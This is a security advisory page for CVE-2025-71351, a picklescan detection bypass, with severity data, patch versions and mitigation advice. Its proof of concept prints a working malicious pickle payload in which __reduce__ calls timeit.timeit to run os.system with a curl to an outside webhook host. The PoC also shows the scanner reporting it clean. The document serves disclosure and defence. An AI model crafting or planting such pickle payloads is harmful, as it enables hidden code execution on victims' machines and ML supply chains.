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CVE-2025-71351 — picklescan

Fix: mmaitre314/picklescan#40

CVE-2025-71351 is a CWE-184 vulnerability in picklescan. A fix is available for picklescan — see the affected versions and patch details below.

picklescan - Remote Code Execution via timeit.timeit() Detection Bypass

Also known asGHSA-v7x6-rv5q-mhwcPYSEC-2026-4135
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-71351.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs46th percentile — riskier than 46% of all scored CVEsHighest risk
0.00%0.40%0.81%1.21%0.4%0.6%Jul 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like timeit.timeit(). And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to timeit.timeit() function from timeit library in reduce method Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

  1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit()
import pickle
import timeit
class Payload(object):
    def __reduce__(self):
        return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")')
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)
create_payload()

Then the attacker will send this pickle file to the victim computer and maybe the victim load this pickle using pickle.load() 2. The victim will use picklescan library to check out if the received pickle file is malicious or not

picklescan -p payload.pickle
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Dangerous globals: 0
  1. Beliving that this pickle file is safe using modelscan, the victim then load this pickle file which will trigger timeit.timeit command to execute OS commands (in my example, it was curl command)
import pickle
def load_payload():
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Solution

I suggest adding timeit library to the unsafe globals blacklist.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions0.0.25pip install --upgrade 'picklescan==0.0.25'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update picklescan to 0.0.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-71351 is resolved across your whole dependency graph.

  3. Workarounds

    Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.

Frequently Asked Questions

### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timei
O3 Security · Impact-Aware SCA

Is CVE-2025-71351 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2025-71351: picklescan — Fixed in 0.0.25